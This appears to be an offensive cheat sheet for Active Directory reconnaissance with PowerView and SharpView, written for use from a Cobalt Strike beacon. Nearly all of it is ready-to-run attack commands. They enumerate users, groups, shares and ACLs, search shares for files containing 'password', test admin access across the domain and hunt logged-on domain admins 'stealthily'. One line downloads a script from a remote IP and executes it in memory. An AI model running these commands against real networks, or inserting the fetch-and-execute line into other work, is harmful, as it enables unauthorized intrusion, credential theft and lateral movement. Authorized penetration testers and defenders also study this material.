PowerView

82KB

view.rar

Enumeration

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

# PowerView
IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.128:80/view.ps1');

# Domain Info
Get-Domain
Get-DomainController

# Password Policy
(Get-DomainPolicy)."SystemAccess"
Get-DomainPolicyData | select -ExpandProperty SystemAccess

# Enumerate Domain Users
Get-DomainUser | select samaccountname

# Enumerate Domain Users Properties
Get-DomainUser -Properties description,pwnlastset

# Get Detailed Information About Specific Domain User
Get-DomainUser -Identity user1

# Enumerate Domain Groups
Get-DomainGroup | select samaccountname

# Get Domain Groups That Contains The Word "admin".
Get-DomainGroup *admin* | select samaccountname

# Enumerate Domain Computers
Get-DomainComputer | select cn
Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

# Emumerate Domain Computers That Respond To Ping Request
Get-DomainComputer -Ping | select cn

# Enumerate Domain OUs
Get-DomainOU | select name

# Enumerate Domain Group Members
Get-DomainGroupMember -Identity "Domain Admins"

# Enumerate Nested Group Members (Recursive)
Get-DomainGroupMember -Identity "Domain Admins" -RecurseUsingMatchingRule | select groupname,membername,memberobjectclass

# Enumerate User Groups
Get-DomainGroup -UserName 'hsaad' | select samaccountname,memberof

Open Shares

# Enumerate Open Shares
Get-NetShare -ComputerName WorkStation1

# Enumerate Open Shares on All Domain Computers (Get-DomainComputer + Get-NetShare)
Find-DomainShare

# Enumerate Open Shares That You Have Read Access
Find-DomainShare -CheckShareAccess

# Search on Interesting Files Inside Shares
Find-InterestingFile -Path \\workstation1\c$\

# Search on Interesting Keywords Inside Files on Shares
findstr /spin /c:"password" \\workstation1\c$\users\administrator\*.txt

# Find Interesting Domain Share Files (Get-DomainComputer + Get-NetShare + Find-InterestingFile)
Find-InterestingDomainShareFile -Verbose

Local Groups

# Enumerate Local Groups on Computer WorkStation1
Get-NetLocalGroup –ComputerName WorkStation1

# Enumerate Local Group Members Of Administrators Group on Computer WorkStation1
Get-NetLocalGroupMember -ComputerName WorkStation1 -GroupName "Administrators"

# Enumerate Local Group Members Of Remote Desktop Users Group on Computer WorkStation1
Get-NetLocalGroupMember -ComputerName WorkStation1 -GroupName "Remote Desktop Users"

# Enumerate Local Group Members on All Domain Computers (Get-DomainComputer + Get-NetLocalGroupMember)
Find-DomainLocalGroupMember -GroupName "Administrators"

Local Admin Access

# Test Admin Access Rights on a Computer
Test-AdminAccess -ComputerName workstation1

# Test Admin Access Rights on All Domain Computers (Get-DomainComputer + Test-AdminAccess)
Find-LocalAdminAccess -Verbose

User Hunting

# Enumerate Users Sessions (Reference: https://www.youtube.com/watch?v=q86VgM2Tafc)
Get-NetSession -ComputerName WorkStation1

# Enumerate LoggedOn Users
Get-NetLoggedon -ComputerName workstation1

# Get Domain Admins + Run Get-NetSession/Get-NetLoggedon on Every Domain Computer + Comparing The Result
Find-DomainUserLocation

# Perform Against Highly Traffic Servers (Get-DomainFileServer, Get-DomainDFSShare, Get-DomainControlle)
Find-DomainUserLocation -Stealth

# Run Get-NetSession/Get-NetLoggedon on Every Domain Computer Then Printing All The Result
Find-DomainUserLocation -ShowAll

# Perform Against Different Users or Groups
Find-DomainUserLocation -UserGroupIdentity "local_admin"
Find-DomainUserLocation -UserIdentity "ITSupport"

Domain Group Policy

# Enumerate All Domain Group Policies
Get-DomainGPO | select DisplayName
Get-DomainGPO -Name "{AD7EE1ED-CDC8-4994-AE0F-50BA8B264829}" -Properties DisplayName

# Enumerate All Domain Group Policies Applied To This Computer
Get-DomainGPO -ComputerName WorkStation1

# Enumerate Local Admin Access Through Domain Group Policies
# Get-DomainGPO + Search For \SecEdit\GptTmpl.inf AND \Preferences\Groups\Groups.xml
Get-DomainGPOLocalGroup -Verbose

Get-DomainGPOUserLocalGroupMapping -Identity "Jump Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

ACL

# Enumerate All The Domain ACLs For Non BuiltIn Users With Modification Access
Find-InterestingDomainAcl -ResolveGUIDs | select ActiveDirectoryRights,ObjectAceType,SecurityIdentifier,ObjectDN 

SharpView

https://github.com/tevora-threat/SharpView

beacon> execute-assembly C:\Tools\SharpView\SharpView\bin\Debug\SharpView.exe Get-Domain